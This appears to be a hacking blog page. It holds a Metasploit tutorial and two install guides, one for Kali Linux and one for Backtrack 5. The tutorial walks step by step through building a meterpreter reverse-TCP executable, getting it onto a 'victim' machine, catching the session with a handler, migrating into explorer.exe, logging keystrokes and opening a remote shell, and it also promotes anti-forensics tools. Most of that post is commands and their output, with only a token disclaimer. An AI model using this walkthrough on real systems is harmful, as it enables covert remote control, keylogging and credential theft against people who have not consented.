Showing posts with label Back|Track. Show all posts
Showing posts with label Back|Track. Show all posts

Mar 24, 2017

Metasploit Tutorial - With an example | Exploiting the vulnerabilities

--- The Metasploit Framework ---


Note: This is an advance topic.Read Carefully. Feel free to ask any kind of queries . We are always here to help you.

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.
Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here's the answer. He could 0wN you, or in other words , he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.
Metasploit is a hacker's best friend, mainly cause it makes the job of exploitation and post-exploitation a lot easier compared to other traditional methods of hacking.
The topic Metasploit is very vast in itself.However, i'll try keeping it basic and simple so that it could be understood by everyone here. Also, Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack ).
In this tutorial, i'll be teaching you how to exploit a system using a meterpreter payload and start a keylogger on the victim's machine.

Hacking through Metasploit is done in 3 simple steps: Point, Click, 0wn.

Before I go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)

Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.
Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.
Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.
Payload: Actual code which runs on the compromised system after exploitation
Now, what Metasploit IS?
It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.



METASPLOIT ANTI FORENSICS:
Metasploit has a great collection of tools for anti forensics, making the forensic analysis of the compromised computer little difficult. They are released as a part ofMAFIA(Metasploit Anti Forensic Investigation Arsenal). Some of the tools included are Timestomp, Slacker, Sam Juicer, Transmogrify.
Metasploit comes in the following versions:
1. CLI (Command Line Interface)
2. Web Interface
3. MSF Console
4. MSFwx
5. MSFAPI
I would recommend using the MSF Console because of its effectiveness & powerful from a pentester’s P0V. Another advantage of this mode is, several sessions of msfconsole could be run simultaneously.
I would recommend you doing the following things in Metasploit, on a Backtrack(system or image), avoiding the windows version of the tool.
For those of all who don't know, Backtrack is a linux distro especially for security personals, including all the tools required by a pentester.
Download Backtrack from here. You can download the ISO or VMware image, according to the one you're comfortable with. If you have 2 access to more than 1 system physically, then go for the ISO image and install it on your hard disk.
Let the Hacking Begin :
Open up backtrack. You should have a screen similar to this.
The default login credentials are:
Username: root
Pass: toor
Type in
root@bt:~#/etc/init.d/wicd start
to start the wicd manager
Finally, type "startx" to start the GUI mode:
root@bt:~#startx

First of all, know your Local Ip. Opening up a konsole (on the bottom left of taskbar) and typing in:
root@bt:~#ifconfig
It would be something like 192.168.x.x or 10.x.x.x.
Have a note of it.
Now,
Launch msfconsole by going to Applications>>Backtrack>>Metasploit Engineering Framework>>Framework Version 3>>msfconsole

You should now be having a shell something similar to a command prompt in windows.
msf >
Let’s now create an executable file which establishes a remote connection between the victim and us, using the meterpreter payload.
Open another shell window (”Session>>New Shell” or click on the small icon on the left of the shell tab in the bottom left corner of the window)

root@bt:/opt/metasploit3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=”your local ip” LPORT=”any port you wish” x > /root/reverse_tcp.exe
Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)
You should get something like this:
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.255.130,LPORT=4444
root@bt:/opt/metasploit3/msf3#
Also, now on your backtrack desktop, you would be seeing a reverse_tcp.exe file.
Migrate it to your other computer in the same local network using a thumb drive or by uploading it online.
Now open the 1st shell window with msfconsole in it.
msf >
Type the following:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.255.130
LHOST => 192.168.255.130
msf exploit(handler) > set LPORT 4444
LPORT => 4444
All the connections are done. You have already made an executable file which makes a reverse connection to you.
And now, you have set the meterpreter to listen to you on port 4444.
The last step you have to do now, is to type in “exploit” and press enter,
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.255.130:4444
[*] Starting the payload handler...
Now, the payload is listening for all the incoming connections on port 444.
[*] Sending stage (749056 bytes) to 192.168.255.1
[*] Meterpreter session 1 opened (192.168.255.130:4444 -> 192.168.255.1:62853) at Sun Mar 13 11:32:12 -0400 2011
You would see a meterpreter prompt like this
meterpreter >
Type in ps to list the active processes
meterpreter > ps
Search for explorer.exe and migrate to the process
meterpreter > migrate 5716
[*] Migrating to 5716...
[*] Migration completed successfully.
meterpreter >
Type in the following:
meterpreter > use priv
Now, if you want to start the Keylogger activity on victim, just type keyscan_start
Now, if you want to go to the victim’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
You would now be having a command prompt,
Type in whoami, to see the computer’s name of victim :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>
Let’s suppose you want to start a notepad on the victim’s computer.
Type in:
Let’s say the victim has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dump
Dumping captured keystrokes...
GaM3 0V3R
P.S.: The above information is just for educational purposes only. You should test it against the computer you own.

Mar 24, 2013

How to Install Kali Linux

Kali Linux Installation Requirements

Installing Kali Linux on your computer is an easy process. First, you’ll need compatible computer hardware. Kali is supported on i386, amd64, and ARM (both armel and armhf) platforms. The hardware requirements are minimal as listed below, although better hardware will naturally provide better performance. The i386 images have a default PAE kernel, so you can run them on systems with over 4GB of RAM. Download Kali Linux and either burn the ISO to DVD, or prepare a USB stick with Kali Linux Live as the installation medium. If you do not have a DVD drive or USB port on your computer, check out the Kali Linux Network Install.

Installation Prerequisites

  • A minimum of 8 GB disk space for the Kali Linux install.
  • For i386 and amd64 architectures, a minimum of 512MB RAM.
  • CD-DVD Drive / USB boot support

Preparing for the Installation

  1. Download Kali linux.
  2. Burn The Kali Linux ISO to DVD or Image Kali Linux Live to USB.
  3. Ensure that your computer is set to boot from CD / USB in your BIOS.

Kali Linux Installation Procedure

  1. To start your installation, boot with your chosen installation medium. You should be greeted with the Kali Boot screen. Choose either Graphical or Text-Mode install. In this example, we chose a GUI install.

    Kali Install
  2. Select your preferred language and then your country location. You’ll also be prompted to configure your keyboard with the appropriate keymap.

    localechooser_languagelist_0
  3. The installer will copy the image to your hard disk, probe your network interfaces, and then prompt you to enter a hostname for your system. In the example below, we’ve entered “kali” as our hostname.

    netcfg_get_hostname_0
  4. Enter a robust password for the root account.

    kali-linux-install-02
  5. Next, set your time zone.

    time_zone_0
  6. The installer will now probe your disks and offer you four choices. In our example, we’re using the entire disk on our computer and not configuring LVM (logical volume manager). Experienced users can use the “Manual” partitioning method for more granular configuration options.

    partman-auto_init_automatically_partition_0
  7. Next, you’ll have one last chance to review your disk configuration before the installer makes irreversible changes. After you click Continue, the installer will go to work and you’ll have an almost finished installation.

    kali-linux-install-03
  8. Configure network mirrors. Kali uses a central repository to distribute applications. You’ll need to enter any appropriate proxy information as needed.

    NOTE! If you select “NO” in this screen, you will NOT be able to install packages from Kali repositories.
    kali-linux-install-04
  9. Next, install GRUB.

    kali-linux-install-05
  10. Finally, click Continue to reboot into your new Kali installation.

    finish-install_reboot_in_progress_0

Post Installation

Now that you’ve completed installing Kali Linux, it’s time to customize your system. The Kali General Use section of our site has more information and you can also find tips on how to get the most out of Kali in our User Forums.

Mar 17, 2013

Learn How to Install Backtrack 5

Learn How to Install Backtrack 5 
Lets start with first snapshot i.e Installing of Backtrack .

Step  1 :Click On Backtrack Icon.


Step 2 : Click On Forward Button

Step 3:Select your Time Zone and press Forward button.
Step 4: Keyboard Layout: Select your layout and press Forward Button.

Step 5 : Now here you have 2 options 
  • Erase and use the entire disk : If you use this option it will delete your entire disk and installed  Backtrack on your harddisk  .
  • Specify partitions manually (advanced) : If you opt this option then you have to create partition on harddisk . 
Lets start from 1st Process :Erase and use the entire disk

 

Step 6 : Click on Install Button : In this process  no need to creating any partition on harddisk system will automatically created partition .

Second Option : Specify partitions manually (advanced)



 
Prepare Partitions : Select /dev/sda and click new partition . When new partition created it will look like below image -

Now new partition created now create a Linux Partitions i.e 
/  Partition (also called root ) : It is a partition where all Linux files are stored .
/boot  Partition : All the Linux Booting files are stored on Boot .
swap  Partition : It is a Virtual Memory .
Note :  Always remember that two main files are responsible for booting -

  1. GRUB(Grand Unified Boot Loader)
  2. LILO (Linux Loader)

First : create root partition and put Mount Point as / (root) and press OK

Your root created now .
 Applying same step to create /boot partition -
Select partition as : Logical
Partition Size :1000
Mount Point : /boot

Press OK
After creating /boot partition it will look like this image .
Now create a Swap Partition
The only change we have to do is in Size  and Mount Point 
Size : Give double the size of RAM 
Example : if i have 512 Ram then assigned 1024 mb of size.
Use as : Swap Area
Swap area is created . Now press Forward button




Press Install and start installation.
Installation process running in middle of the process shows this windows shown below -


Installation Process : In the middle  of installation you see this type of process going on .
Installtion Completed 
Restarted Now



Your Installation Completed
Now start Exploiting